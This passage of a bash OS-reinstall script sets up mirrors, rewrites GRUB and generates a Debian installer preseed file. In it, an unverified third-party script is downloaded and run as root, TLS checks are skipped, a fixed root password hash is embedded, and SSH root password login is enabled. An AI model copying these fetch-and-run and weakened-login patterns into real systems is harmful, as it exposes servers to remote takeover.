MirrorBackup=(["Debian0"]="" ["Debian1"]="http://deb.debian.org/debian" ["Debian2"]="http://archive.debian.org/debian" ["Ubuntu0"]="" ["Ubuntu1"]="http://archive.ubuntu.com/ubuntu" ["CentOS0"]="" ["CentOS1"]="http://mirror.centos.org/centos" ["CentOS2"]="http://vault.centos.org")
echo "$New" |grep -q '^http://\|^https://\|^ftp://' && MirrorBackup[${Relese}0]="$New"
for mirror in $(echo "${!MirrorBackup[@]}" |sed 's/\ /\n/g' |sort -n |grep "^$Relese")
do
CurMirror="${MirrorBackup[$mirror]}"
[ -n "$CurMirror" ] || continue
MirrorURL=`echo "$MirrorTEMP" |sed "s#SUB_MIRROR#${CurMirror}#g"`
wget --no-check-certificate --spider --timeout=3 -o /dev/null "$MirrorURL"
[ $? -eq 0 ] && MirrorStatus=1 && break
done
[ $MirrorStatus -eq 1 ] && echo "$CurMirror" || exit 1
}
[ -n "$Relese" ] || Relese='Debian'
linux_relese=$(echo "$Relese" |sed 's/\ //g' |sed -r 's/(.*)/\L\1/')
clear && echo -e "\n\033[36m# Check Dependence\033[0m\n"
if [[ "$ddMode" == '1' ]]; then
CheckDependence iconv;
linux_relese='debian';
tmpDIST='jessie';
tmpVER='amd64';
tmpINS='auto';
fi
if [[ "$Relese" == 'Debian' ]] || [[ "$Relese" == 'Ubuntu' ]]; then
CheckDependence wget,awk,grep,sed,cut,cat,cpio,gzip,find,dirname,basename;
elif [[ "$Relese" == 'CentOS' ]]; then
CheckDependence wget,awk,grep,sed,cut,cat,cpio,gzip,find,dirname,basename,file,xz;
fi
[ -n "$tmpWORD" ] && CheckDependence openssl
if [[ "$loaderMode" == "0" ]]; then
[[ -f '/boot/grub/grub.cfg' ]] && GRUBVER='0' && GRUBDIR='/boot/grub' && GRUBFILE='grub.cfg';
[[ -z "$GRUBDIR" ]] && [[ -f '/boot/grub2/grub.cfg' ]] && GRUBVER='0' && GRUBDIR='/boot/grub2' && GRUBFILE='grub.cfg';
[[ -z "$GRUBDIR" ]] && [[ -f '/boot/grub/grub.conf' ]] && GRUBVER='1' && GRUBDIR='/boot/grub' && GRUBFILE='grub.conf';
[ -z "$GRUBDIR" -o -z "$GRUBFILE" ] && echo -ne "Error! \nNot Found grub.\n" && exit 1;
else
tmpINS='auto'
fi
if [[ -n "$tmpVER" ]]; then
tmpVER="$(echo "$tmpVER" |sed -r 's/(.*)/\L\1/')";
if [[ "$tmpVER" == '32' ]] || [[ "$tmpVER" == 'i386' ]] || [[ "$tmpVER" == 'x86' ]]; then
VER='i386';
fi
if [[ "$tmpVER" == '64' ]] || [[ "$tmpVER" == 'amd64' ]] || [[ "$tmpVER" == 'x86_64' ]] || [[ "$tmpVER" == 'x64' ]]; then
if [[ "$Relese" == 'Debian' ]] || [[ "$Relese" == 'Ubuntu' ]]; then
VER='amd64';
elif [[ "$Relese" == 'CentOS' ]]; then
VER='x86_64';
fi
fi
fi
[ -z "$VER" ] && VER='amd64'
if [[ -z "$tmpDIST" ]]; then
[ "$Relese" == 'Debian' ] && tmpDIST='jessie' && DIST='jessie';
[ "$Relese" == 'Ubuntu' ] && tmpDIST='bionic' && DIST='bionic';
[ "$Relese" == 'CentOS' ] && tmpDIST='6.10' && DIST='6.10';
fi
if [[ -z "$DIST" ]]; then
if [[ "$Relese" == 'Debian' ]]; then
SpikCheckDIST='0'
DIST="$(echo "$tmpDIST" |sed -r 's/(.*)/\L\1/')";
echo "$DIST" |grep -q '[0-9]';
[[ $? -eq '0' ]] && {
isDigital="$(echo "$DIST" |grep -o '[\.0-9]\{1,\}' |sed -n '1h;1!H;$g;s/\n//g;$p' |cut -d'.' -f1)";
[[ -n $isDigital ]] && {
[[ "$isDigital" == '7' ]] && DIST='wheezy';
[[ "$isDigital" == '8' ]] && DIST='jessie';
[[ "$isDigital" == '9' ]] && DIST='stretch';
[[ "$isDigital" == '10' ]] && DIST='buster';
}
}
LinuxMirror=$(SelectMirror "$Relese" "$DIST" "$VER" "$tmpMirror")
fi
if [[ "$Relese" == 'Ubuntu' ]]; then
SpikCheckDIST='0'
DIST="$(echo "$tmpDIST" |sed -r 's/(.*)/\L\1/')";
echo "$DIST" |grep -q '[0-9]';
[[ $? -eq '0' ]] && {
isDigital="$(echo "$DIST" |grep -o '[\.0-9]\{1,\}' |sed -n '1h;1!H;$g;s/\n//g;$p')";
[[ -n $isDigital ]] && {
[[ "$isDigital" == '12.04' ]] && DIST='precise';
[[ "$isDigital" == '14.04' ]] && DIST='trusty';
[[ "$isDigital" == '16.04' ]] && DIST='xenial';
[[ "$isDigital" == '18.04' ]] && DIST='bionic';
[[ "$isDigital" == '19.10' ]] && DIST='eoan';
}
}
LinuxMirror=$(SelectMirror "$Relese" "$DIST" "$VER" "$tmpMirror")
fi
if [[ "$Relese" == 'CentOS' ]]; then
SpikCheckDIST='1'
DISTCheck="$(echo "$tmpDIST" |grep -o '[\.0-9]\{1,\}')";
LinuxMirror=$(SelectMirror "$Relese" "$DISTCheck" "$VER" "$tmpMirror")
ListDIST="$(wget --no-check-certificate -qO- "$LinuxMirror/dir_sizes" |cut -f2 |grep '^[0-9]')"
DIST="$(echo "$ListDIST" |grep "^$DISTCheck" |head -n1)"
[[ -z "$DIST" ]] && {
echo -ne '\nThe dists version not found in this mirror, Please check it! \n\n'
bash $0 error;
exit 1;
}
wget --no-check-certificate -qO- "$LinuxMirror/$DIST/os/$VER/.treeinfo" |grep -q 'general';
[[ $? != '0' ]] && {
echo -ne "\nThe version not found in this mirror, Please change mirror try again! \n\n";
exit 1;
}
fi
fi
if [[ -z "$LinuxMirror" ]]; then
echo -ne "\033[31mError! \033[0mInvaild mirror! \n"
[ "$Relese" == 'Debian' ] && echo -en "\033[33mexample:\033[0m http://deb.debian.org/debian\n\n";
[ "$Relese" == 'Ubuntu' ] && echo -en "\033[33mexample:\033[0m http://archive.ubuntu.com/ubuntu\n\n";
[ "$Relese" == 'CentOS' ] && echo -en "\033[33mexample:\033[0m http://mirror.centos.org/centos\n\n";
bash $0 error;
exit 1;
fi
if [[ "$SpikCheckDIST" == '0' ]]; then
DistsList="$(wget --no-check-certificate -qO- "$LinuxMirror/dists/" |grep -o 'href=.*/"' |cut -d'"' -f2 |sed '/-\|old\|Debian\|experimental\|stable\|test\|sid\|devel/d' |grep '^[^/]' |sed -n '1h;1!H;$g;s/\n//g;s/\//\;/g;$p')";
for CheckDEB in `echo "$DistsList" |sed 's/;/\n/g'`
do
[[ "$CheckDEB" == "$DIST" ]] && FindDists='1' && break;
done
[[ "$FindDists" == '0' ]] && {
echo -ne '\nThe dists version not found, Please check it! \n\n'
bash $0 error;
exit 1;
}
fi
[[ "$ddMode" == '1' ]] && {
export SSL_SUPPORT='https://moeclub.org/get/wget_udeb_amd64';
if [[ -n "$tmpURL" ]]; then
DDURL="$tmpURL"
echo "$DDURL" |grep -q '^http://\|^ftp://\|^https://';
[[ $? -ne '0' ]] && echo 'Please input vaild URL,Only support http://, ftp:// and https:// !' && exit 1;
[[ -n "$tmpSSL" ]] && SSL_SUPPORT="$tmpSSL";
else
echo 'Please input vaild image URL! ';
exit 1;
fi
}
[[ -n "$tmpINS" ]] && {
[[ "$tmpINS" == 'auto' ]] && inVNC='n';
[[ "$tmpINS" == 'manual' ]] && inVNC='y';
}
[ -n "$ipAddr" ] && [ -n "$ipMask" ] && [ -n "$ipGate" ] && setNet='1';
[[ -n "$tmpWORD" ]] && myPASSWORD="$(openssl passwd -1 "$tmpWORD")";
[[ -z "$myPASSWORD" ]] && myPASSWORD='$1$4BJZaD0A$y1QykUnJ6mXprENfwpseH0';
if [[ -n "$interface" ]]; then
IFETH="$interface"
else
if [[ "$linux_relese" == 'centos' ]]; then
IFETH="link"
else
IFETH="auto"
fi
fi
clear && echo -e "\n\033[36m# Install\033[0m\n"
ASKVNC(){
inVNC='y';
[[ "$ddMode" == '0' ]] && {
echo -ne "\033[34mDo you want to install os manually?\033[0m\e[33m[\e[32my\e[33m/n]\e[0m "
read tmpinVNC
[[ -n "$inVNCtmp" ]] && inVNC="$tmpinVNC"
}
[ "$inVNC" == 'y' -o "$inVNC" == 'Y' ] && inVNC='y';
[ "$inVNC" == 'n' -o "$inVNC" == 'N' ] && inVNC='n';
}
[ "$inVNC" == 'y' -o "$inVNC" == 'n' ] || ASKVNC;
[[ "$ddMode" == '0' ]] && {
[[ "$inVNC" == 'y' ]] && echo -e "\033[34mManual Mode\033[0m insatll [\033[33m$Relese\033[0m] [\033[33m$DIST\033[0m] [\033[33m$VER\033[0m] in VNC. "
[[ "$inVNC" == 'n' ]] && echo -e "\033[34mAuto Mode\033[0m insatll [\033[33m$Relese\033[0m] [\033[33m$DIST\033[0m] [\033[33m$VER\033[0m]. "
}
[[ "$ddMode" == '1' ]] && {
echo -ne "\033[34mAuto Mode\033[0m insatll \033[33mWindows\033[0m\n[\033[33m$DDURL\033[0m]\n"
}
if [[ "$linux_relese" == 'centos' ]]; then
if [[ "$DIST" != "$UNVER" ]]; then
awk 'BEGIN{print '${UNVER}'-'${DIST}'}' |grep -q '^-'
if [ $? != '0' ]; then
UNKNOWHW='1';
echo -en "\033[33mThe version lower then \033[31m$UNVER\033[33m may not support in auto mode! \033[0m\n";
if [[ "$inVNC" == 'n' ]]; then
echo -en "\033[35mYou can connect VNC with \033[32mPublic IP\033[35m and port \033[32m1\033[35m/\033[32m5901\033[35m in vnc viewer.\033[0m\n"
read -n 1 -p "Press Enter to continue..." INP
[[ "$INP" != '' ]] && echo -ne '\b \n\n';
fi
fi
awk 'BEGIN{print '${UNVER}'-'${DIST}'+0.59}' |grep -q '^-'
if [ $? == '0' ]; then
echo -en "\n\033[31mThe version higher then \033[33m6.10 \033[31mis not support in current! \033[0m\n\n"
exit 1;
fi
fi
fi
echo -e "\n[\033[33m$Relese\033[0m] [\033[33m$DIST\033[0m] [\033[33m$VER\033[0m] Downloading..."
if [[ "$linux_relese" == 'debian' ]] || [[ "$linux_relese" == 'ubuntu' ]]; then
inUpdate=''; [ "$linux_relese" == 'ubuntu' ] && inUpdate=''
wget --no-check-certificate -qO '/boot/initrd.img' "${LinuxMirror}/dists/${DIST}${inUpdate}/main/installer-${VER}/current/images/netboot/${linux_relese}-installer/${VER}/initrd.gz"
[[ $? -ne '0' ]] && echo -ne "\033[31mError! \033[0mDownload 'initrd.img' for \033[33m$linux_relese\033[0m failed! \n" && exit 1
wget --no-check-certificate -qO '/boot/vmlinuz' "${LinuxMirror}/dists/${DIST}${inUpdate}/main/installer-${VER}/current/images/netboot/${linux_relese}-installer/${VER}/linux"
[[ $? -ne '0' ]] && echo -ne "\033[31mError! \033[0mDownload 'vmlinuz' for \033[33m$linux_relese\033[0m failed! \n" && exit 1
MirrorHost="$(echo "$LinuxMirror" |awk -F'://|/' '{print $2}')";
MirrorFolder="$(echo "$LinuxMirror" |awk -F''${MirrorHost}'' '{print $2}')";
elif [[ "$linux_relese" == 'centos' ]]; then
wget --no-check-certificate -qO '/boot/initrd.img' "${LinuxMirror}/${DIST}/os/${VER}/isolinux/initrd.img"
[[ $? -ne '0' ]] && echo -ne "\033[31mError! \033[0mDownload 'initrd.img' for \033[33m$linux_relese\033[0m failed! \n" && exit 1
wget --no-check-certificate -qO '/boot/vmlinuz' "${LinuxMirror}/${DIST}/os/${VER}/isolinux/vmlinuz"
[[ $? -ne '0' ]] && echo -ne "\033[31mError! \033[0mDownload 'vmlinuz' for \033[33m$linux_relese\033[0m failed! \n" && exit 1
else
bash $0 error;
exit 1;
fi
if [[ "$linux_relese" == 'debian' ]]; then
if [[ "$IncFirmware" == '1' ]]; then
wget --no-check-certificate -qO '/boot/firmware.cpio.gz' "http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/${DIST}/current/firmware.cpio.gz"
[[ $? -ne '0' ]] && echo -ne "\033[31mError! \033[0mDownload 'firmware' for \033[33m$linux_relese\033[0m failed! \n" && exit 1
fi
if [[ "$ddMode" == '1' ]]; then
vKernel_udeb=$(wget --no-check-certificate -qO- "http://$DISTMirror/dists/$DIST/main/installer-$VER/current/images/udeb.list" |grep '^acpi-modules' |head -n1 |grep -o '[0-9]\{1,2\}.[0-9]\{1,2\}.[0-9]\{1,2\}-[0-9]\{1,2\}' |head -n1)
[[ -z "vKernel_udeb" ]] && vKernel_udeb="3.16.0-6"
fi
fi
[[ "$setNet" == '1' ]] && {
IPv4="$ipAddr";
MASK="$ipMask";
GATE="$ipGate";
} || {
DEFAULTNET="$(ip route show |grep -o 'default via [0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.*' |head -n1 |sed 's/proto.*\|onlink.*//g' |awk '{print $NF}')";
[[ -n "$DEFAULTNET" ]] && IPSUB="$(ip addr |grep ''${DEFAULTNET}'' |grep 'global' |grep 'brd' |head -n1 |grep -o '[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}/[0-9]\{1,2\}')";
IPv4="$(echo -n "$IPSUB" |cut -d'/' -f1)";
NETSUB="$(echo -n "$IPSUB" |grep -o '/[0-9]\{1,2\}')";
GATE="$(ip route show |grep -o 'default via [0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}' |head -n1 |grep -o '[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}')";
[[ -n "$NETSUB" ]] && MASK="$(echo -n '128.0.0.0/1,192.0.0.0/2,224.0.0.0/3,240.0.0.0/4,248.0.0.0/5,252.0.0.0/6,254.0.0.0/7,255.0.0.0/8,255.128.0.0/9,255.192.0.0/10,255.224.0.0/11,255.240.0.0/12,255.248.0.0/13,255.252.0.0/14,255.254.0.0/15,255.255.0.0/16,255.255.128.0/17,255.255.192.0/18,255.255.224.0/19,255.255.240.0/20,255.255.248.0/21,255.255.252.0/22,255.255.254.0/23,255.255.255.0/24,255.255.255.128/25,255.255.255.192/26,255.255.255.224/27,255.255.255.240/28,255.255.255.248/29,255.255.255.252/30,255.255.255.254/31,255.255.255.255/32' |grep -o '[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}'${NETSUB}'' |cut -d'/' -f1)";
}
[[ -n "$GATE" ]] && [[ -n "$MASK" ]] && [[ -n "$IPv4" ]] || {
echo "Not found \`ip command\`, It will use \`route command\`."
ipNum() {
local IFS='.';
read ip1 ip2 ip3 ip4 <<<"$1";
echo $((ip1*(1<<24)+ip2*(1<<16)+ip3*(1<<8)+ip4));
}
SelectMax(){
ii=0;
for IPITEM in `route -n |awk -v OUT=$1 '{print $OUT}' |grep '[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}'`
do
NumTMP="$(ipNum $IPITEM)";
eval "arrayNum[$ii]='$NumTMP,$IPITEM'";
ii=$[$ii+1];
done
echo ${arrayNum[@]} |sed 's/\s/\n/g' |sort -n -k 1 -t ',' |tail -n1 |cut -d',' -f2;
}
[[ -z $IPv4 ]] && IPv4="$(ifconfig |grep 'Bcast' |head -n1 |grep -o '[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}.[0-9]\{1,3\}' |head -n1)";
[[ -z $GATE ]] && GATE="$(SelectMax 2)";
[[ -z $MASK ]] && MASK="$(SelectMax 3)";
[[ -n "$GATE" ]] && [[ -n "$MASK" ]] && [[ -n "$IPv4" ]] || {
echo "Error! Not configure network. ";
exit 1;
}
}
[[ "$setNet" != '1' ]] && [[ -f '/etc/network/interfaces' ]] && {
[[ -z "$(sed -n '/iface.*inet static/p' /etc/network/interfaces)" ]] && AutoNet='1' || AutoNet='0';
[[ -d /etc/network/interfaces.d ]] && {
ICFGN="$(find /etc/network/interfaces.d -name '*.cfg' |wc -l)" || ICFGN='0';
[[ "$ICFGN" -ne '0' ]] && {
for NetCFG in `ls -1 /etc/network/interfaces.d/*.cfg`
do
[[ -z "$(cat $NetCFG | sed -n '/iface.*inet static/p')" ]] && AutoNet='1' || AutoNet='0';
[[ "$AutoNet" -eq '0' ]] && break;
done
}
}
}
[[ "$setNet" != '1' ]] && [[ -d '/etc/sysconfig/network-scripts' ]] && {
ICFGN="$(find /etc/sysconfig/network-scripts -name 'ifcfg-*' |grep -v 'lo'|wc -l)" || ICFGN='0';
[[ "$ICFGN" -ne '0' ]] && {
for NetCFG in `ls -1 /etc/sysconfig/network-scripts/ifcfg-* |grep -v 'lo$' |grep -v ':[0-9]\{1,\}'`
do
[[ -n "$(cat $NetCFG | sed -n '/BOOTPROTO.*[dD][hH][cC][pP]/p')" ]] && AutoNet='1' || {
AutoNet='0' && . $NetCFG;
[[ -n $NETMASK ]] && MASK="$NETMASK";
[[ -n $GATEWAY ]] && GATE="$GATEWAY";
}
[[ "$AutoNet" -eq '0' ]] && break;
done
}
}
if [[ "$loaderMode" == "0" ]]; then
[[ ! -f $GRUBDIR/$GRUBFILE ]] && echo "Error! Not Found $GRUBFILE. " && exit 1;
[[ ! -f $GRUBDIR/$GRUBFILE.old ]] && [[ -f $GRUBDIR/$GRUBFILE.bak ]] && mv -f $GRUBDIR/$GRUBFILE.bak $GRUBDIR/$GRUBFILE.old;
mv -f $GRUBDIR/$GRUBFILE $GRUBDIR/$GRUBFILE.bak;
[[ -f $GRUBDIR/$GRUBFILE.old ]] && cat $GRUBDIR/$GRUBFILE.old >$GRUBDIR/$GRUBFILE || cat $GRUBDIR/$GRUBFILE.bak >$GRUBDIR/$GRUBFILE;
else
GRUBVER='2'
fi
[[ "$GRUBVER" == '0' ]] && {
READGRUB='/tmp/grub.read'
cat $GRUBDIR/$GRUBFILE |sed -n '1h;1!H;$g;s/\n/%%%%%%%/g;$p' |grep -om 1 'menuentry\ [^{]*{[^}]*}%%%%%%%' |sed 's/%%%%%%%/\n/g' >$READGRUB
LoadNum="$(cat $READGRUB |grep -c 'menuentry ')"
if [[ "$LoadNum" -eq '1' ]]; then
cat $READGRUB |sed '/^$/d' >/tmp/grub.new;
elif [[ "$LoadNum" -gt '1' ]]; then
CFG0="$(awk '/menuentry /{print NR}' $READGRUB|head -n 1)";
CFG2="$(awk '/menuentry /{print NR}' $READGRUB|head -n 2 |tail -n 1)";
CFG1="";
for tmpCFG in `awk '/}/{print NR}' $READGRUB`
do
[ "$tmpCFG" -gt "$CFG0" -a "$tmpCFG" -lt "$CFG2" ] && CFG1="$tmpCFG";
done
[[ -z "$CFG1" ]] && {
echo "Error! read $GRUBFILE. ";
exit 1;
}
sed -n "$CFG0,$CFG1"p $READGRUB >/tmp/grub.new;
[[ -f /tmp/grub.new ]] && [[ "$(grep -c '{' /tmp/grub.new)" -eq "$(grep -c '}' /tmp/grub.new)" ]] || {
echo -ne "\033[31mError! \033[0mNot configure $GRUBFILE. \n";
exit 1;
}
fi
[ ! -f /tmp/grub.new ] && echo "Error! $GRUBFILE. " && exit 1;
sed -i "/menuentry.*/c\menuentry\ \'Install OS \[$DIST\ $VER\]\'\ --class debian\ --class\ gnu-linux\ --class\ gnu\ --class\ os\ \{" /tmp/grub.new
sed -i "/echo.*Loading/d" /tmp/grub.new;
INSERTGRUB="$(awk '/menuentry /{print NR}' $GRUBDIR/$GRUBFILE|head -n 1)"
}
[[ "$GRUBVER" == '1' ]] && {
CFG0="$(awk '/title[\ ]|title[\t]/{print NR}' $GRUBDIR/$GRUBFILE|head -n 1)";
CFG1="$(awk '/title[\ ]|title[\t]/{print NR}' $GRUBDIR/$GRUBFILE|head -n 2 |tail -n 1)";
[[ -n $CFG0 ]] && [ -z $CFG1 -o $CFG1 == $CFG0 ] && sed -n "$CFG0,$"p $GRUBDIR/$GRUBFILE >/tmp/grub.new;
[[ -n $CFG0 ]] && [ -z $CFG1 -o $CFG1 != $CFG0 ] && sed -n "$CFG0,$[$CFG1-1]"p $GRUBDIR/$GRUBFILE >/tmp/grub.new;
[[ ! -f /tmp/grub.new ]] && echo "Error! configure append $GRUBFILE. " && exit 1;
sed -i "/title.*/c\title\ \'Install OS \[$DIST\ $VER\]\'" /tmp/grub.new;
sed -i '/^#/d' /tmp/grub.new;
INSERTGRUB="$(awk '/title[\ ]|title[\t]/{print NR}' $GRUBDIR/$GRUBFILE|head -n 1)"
}
if [[ "$loaderMode" == "0" ]]; then
[[ -n "$(grep 'linux.*/\|kernel.*/' /tmp/grub.new |awk '{print $2}' |tail -n 1 |grep '^/boot/')" ]] && Type='InBoot' || Type='NoBoot';
LinuxKernel="$(grep 'linux.*/\|kernel.*/' /tmp/grub.new |awk '{print $1}' |head -n 1)";
[[ -z "$LinuxKernel" ]] && echo "Error! read grub config! " && exit 1;
LinuxIMG="$(grep 'initrd.*/' /tmp/grub.new |awk '{print $1}' |tail -n 1)";
[ -z "$LinuxIMG" ] && sed -i "/$LinuxKernel.*\//a\\\tinitrd\ \/" /tmp/grub.new && LinuxIMG='initrd';
if [[ "$setInterfaceName" == "1" ]]; then
Add_OPTION="net.ifnames=0 biosdevname=0";
else
Add_OPTION="";
fi
if [[ "$setIPv6" == "1" ]]; then
Add_OPTION="$Add_OPTION ipv6.disable=1";
fi
if [[ "$linux_relese" == 'debian' ]] || [[ "$linux_relese" == 'ubuntu' ]]; then
BOOT_OPTION="auto=true $Add_OPTION hostname=$linux_relese domain= -- quiet"
elif [[ "$linux_relese" == 'centos' ]]; then
BOOT_OPTION="ks=file://ks.cfg $Add_OPTION ksdevice=$IFETH"
fi
[[ "$Type" == 'InBoot' ]] && {
sed -i "/$LinuxKernel.*\//c\\\t$LinuxKernel\\t\/boot\/vmlinuz $BOOT_OPTION" /tmp/grub.new;
sed -i "/$LinuxIMG.*\//c\\\t$LinuxIMG\\t\/boot\/initrd.img" /tmp/grub.new;
}
[[ "$Type" == 'NoBoot' ]] && {
sed -i "/$LinuxKernel.*\//c\\\t$LinuxKernel\\t\/vmlinuz $BOOT_OPTION" /tmp/grub.new;
sed -i "/$LinuxIMG.*\//c\\\t$LinuxIMG\\t\/initrd.img" /tmp/grub.new;
}
sed -i '$a\\n' /tmp/grub.new;
fi
[[ "$inVNC" == 'n' ]] && {
GRUBPATCH='0';
if [[ "$loaderMode" == "0" ]]; then
[ -f '/etc/network/interfaces' -o -d '/etc/sysconfig/network-scripts' ] || {
echo "Error, Not found interfaces config.";
exit 1;
}
sed -i ''${INSERTGRUB}'i\\n' $GRUBDIR/$GRUBFILE;
sed -i ''${INSERTGRUB}'r /tmp/grub.new' $GRUBDIR/$GRUBFILE;
[[ -f $GRUBDIR/grubenv ]] && sed -i 's/saved_entry/#saved_entry/g' $GRUBDIR/grubenv;
fi
[[ -d /tmp/boot ]] && rm -rf /tmp/boot;
mkdir -p /tmp/boot;
cd /tmp/boot;
if [[ "$linux_relese" == 'debian' ]] || [[ "$linux_relese" == 'ubuntu' ]]; then
COMPTYPE="gzip";
elif [[ "$linux_relese" == 'centos' ]]; then
COMPTYPE="$(file /boot/initrd.img |grep -o ':.*compressed data' |cut -d' ' -f2 |sed -r 's/(.*)/\L\1/' |head -n1)"
[[ -z "$COMPTYPE" ]] && echo "Detect compressed type fail." && exit 1;
fi
CompDected='0'
for ListCOMP in `echo -en 'gzip\nlzma\nxz'`
do
if [[ "$COMPTYPE" == "$ListCOMP" ]]; then
CompDected='1'
if [[ "$COMPTYPE" == 'gzip' ]]; then
NewIMG="initrd.img.gz"
else
NewIMG="initrd.img.$COMPTYPE"
fi
mv -f "/boot/initrd.img" "/tmp/$NewIMG"
break;
fi
done
[[ "$CompDected" != '1' ]] && echo "Detect compressed type not support." && exit 1;
[[ "$COMPTYPE" == 'lzma' ]] && UNCOMP='xz --format=lzma --decompress';
[[ "$COMPTYPE" == 'xz' ]] && UNCOMP='xz --decompress';
[[ "$COMPTYPE" == 'gzip' ]] && UNCOMP='gzip -d';
$UNCOMP < /tmp/$NewIMG | cpio --extract --verbose --make-directories --no-absolute-filenames >>/dev/null 2>&1
if [[ "$linux_relese" == 'debian' ]] || [[ "$linux_relese" == 'ubuntu' ]]; then
cat >/tmp/boot/preseed.cfg<<EOF
d-i debian-installer/locale string en_US
d-i console-setup/layoutcode string us
d-i keyboard-configuration/xkb-keymap string us
d-i netcfg/choose_interface select $IFETH
d-i netcfg/disable_autoconfig boolean true
d-i netcfg/dhcp_failed note
d-i netcfg/dhcp_options select Configure network manually
d-i netcfg/get_ipaddress string $IPv4
d-i netcfg/get_netmask string $MASK
d-i netcfg/get_gateway string $GATE
d-i netcfg/get_nameservers string 8.8.8.8
d-i netcfg/no_default_route boolean true
d-i netcfg/confirm_static boolean true
d-i hw-detect/load_firmware boolean true
d-i mirror/country string manual
d-i mirror/http/hostname string $MirrorHost
d-i mirror/http/directory string $MirrorFolder
d-i mirror/http/proxy string
d-i apt-setup/services-select multiselect
d-i passwd/root-login boolean ture
d-i passwd/make-user boolean false
d-i passwd/root-password-crypted password $myPASSWORD
d-i user-setup/allow-password-weak boolean true
d-i user-setup/encrypt-home boolean false
d-i clock-setup/utc boolean true
d-i time/zone string US/Eastern
d-i clock-setup/ntp boolean true
d-i preseed/early_command string anna-install libfuse2-udeb fuse-udeb ntfs-3g-udeb fuse-modules-${vKernel_udeb}-amd64-di
d-i partman/early_command string [[ -n "\$(blkid -t TYPE='vfat' -o device)" ]] && umount "\$(blkid -t TYPE='vfat' -o device)"; \
debconf-set partman-auto/disk "\$(list-devices disk |head -n1)"; \
wget -qO- '$DDURL' |gunzip -dc |/bin/dd of=\$(list-devices disk |head -n1); \
mount.ntfs-3g \$(list-devices partition |head -n1) /mnt; \
cd '/mnt/ProgramData/Microsoft/Windows/Start Menu/Programs'; \
cd Start* || cd start*; \
cp -f '/net.bat' './net.bat'; \
/sbin/reboot; \
debconf-set grub-installer/bootdev string "\$(list-devices disk |head -n1)"; \
umount /media || true; \
d-i partman/mount_style select uuid
d-i partman-auto/init_automatically_partition select Guided - use entire disk
d-i partman-auto/choose_recipe select All files in one partition (recommended for new users)
d-i partman-auto/method string regular
d-i partman-lvm/device_remove_lvm boolean true
d-i partman-md/device_remove_md boolean true
d-i partman-auto/choose_recipe select atomic
d-i partman-partitioning/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman-lvm/confirm boolean true
d-i partman-lvm/confirm_nooverwrite boolean true
d-i partman/confirm boolean true
d-i partman/confirm_nooverwrite boolean true
d-i debian-installer/allow_unauthenticated boolean true
tasksel tasksel/first multiselect minimal
d-i pkgsel/update-policy select none
d-i pkgsel/include string openssh-server wget curl
d-i pkgsel/upgrade select none
popularity-contest popularity-contest/participate boolean false
d-i grub-installer/only_debian boolean true
d-i grub-installer/bootdev string default
d-i grub-installer/force-efi-extra-removable boolean true
d-i finish-install/reboot_in_progress note
d-i debian-installer/exit/reboot boolean true
d-i preseed/late_command string \
sed -ri 's/^#?PermitRootLogin.*/PermitRootLogin yes/g' /target/etc/ssh/sshd_config; \
sed -ri 's/^#?PasswordAuthentication.*/PasswordAuthentication yes/g' /target/etc/ssh/sshd_config; \
in-target wget -O /root/person_settings.sh --no-check-certificate https://raw.githubusercontent.com/FH0/nubia/master/person_settings.sh; \
in-target /bin/bash /root/person_settings.sh; \
in-target rm /root/person_settings.sh
EOF
[[ "$loaderMode" != "0" ]] && AutoNet='1'
[[ "$setNet" == '0' ]] && [[ "$AutoNet" == '1' ]] && {
sed -i '/netcfg\/disable_autoconfig/d' /tmp/boot/preseed.cfg
sed -i '/netcfg\/dhcp_options/d' /tmp/boot/preseed.cfg
sed -i '/netcfg\/get_.*/d' /tmp/boot/preseed.cfg
sed -i '/netcfg\/confirm_static/d' /tmp/boot/preseed.cfg
}
[[ "$DIST" == 'trusty' ]] && GRUBPATCH='1'
[[ "$DIST" == 'wily' ]] && GRUBPATCH='1'
[[ "$DIST" == 'xenial' ]] && {
sed -i 's/^d-i\ clock-setup\/ntp\ boolean\ true/d-i\ clock-setup\/ntp\ boolean\ false/g' /tmp/boot/preseed.cfg
}
[[ "$GRUBPATCH" == '1' ]] && {
sed -i 's/^d-i\ grub-installer\/bootdev\ string\ default//g' /tmp/boot/preseed.cfg
}
[[ "$GRUBPATCH" == '0' ]] && {
sed -i 's/debconf-set\ grub-installer\/bootdev.*\"\;//g' /tmp/boot/preseed.cfg
}
[[ "$linux_relese" == 'debian' ]] && {
sed -i '/user-setup\/allow-password-weak/d' /tmp/boot/preseed.cfg
sed -i '/user-setup\/encrypt-home/d' /tmp/boot/preseed.cfg
sed -i '/pkgsel\/update-policy/d' /tmp/boot/preseed.cfg
sed -i 's/umount\ \/media.*true\;\ //g' /tmp/boot/preseed.cfg
}
[[ "$linux_relese" == 'debian' ]] && [[ -f '/boot/firmware.cpio.gz' ]] && {
gzip -d < /boot/firmware.cpio.gz | cpio --extract --verbose --make-directories --no-absolute-filenames >>/dev/null 2>&1
}
[[ "$ddMode" == '1' ]] && {
WinNoDHCP(){
echo -ne "for\0040\0057f\0040\0042tokens\00753\0052\0042\0040\0045\0045i\0040in\0040\0050\0047netsh\0040interface\0040show\0040interface\0040\0136\0174more\0040\00533\0040\0136\0174findstr\0040\0057I\0040\0057R\0040\0042本地\0056\0052\0040以太\0056\0052\0040Local\0056\0052\0040Ethernet\0042\0047\0051\0040do\0040\0050set\0040EthName\0075\0045\0045j\0051\r\nnetsh\0040\0055c\0040interface\0040ip\0040set\0040address\0040name\0075\0042\0045EthName\0045\0042\0040source\0075static\0040address\0075$IPv4\0040mask\0075$MASK\0040gateway\0075$GATE\r\nnetsh\0040\0055c\0040interface\0040ip\0040add\0040dnsservers\0040name\0075\0042\0045EthName\0045\0042\0040address\00758\00568\00568\00568\0040index\00751\0040validate\0075no\r\n\r\n" >>'/tmp/boot/net.tmp';
}
WinRDP(){
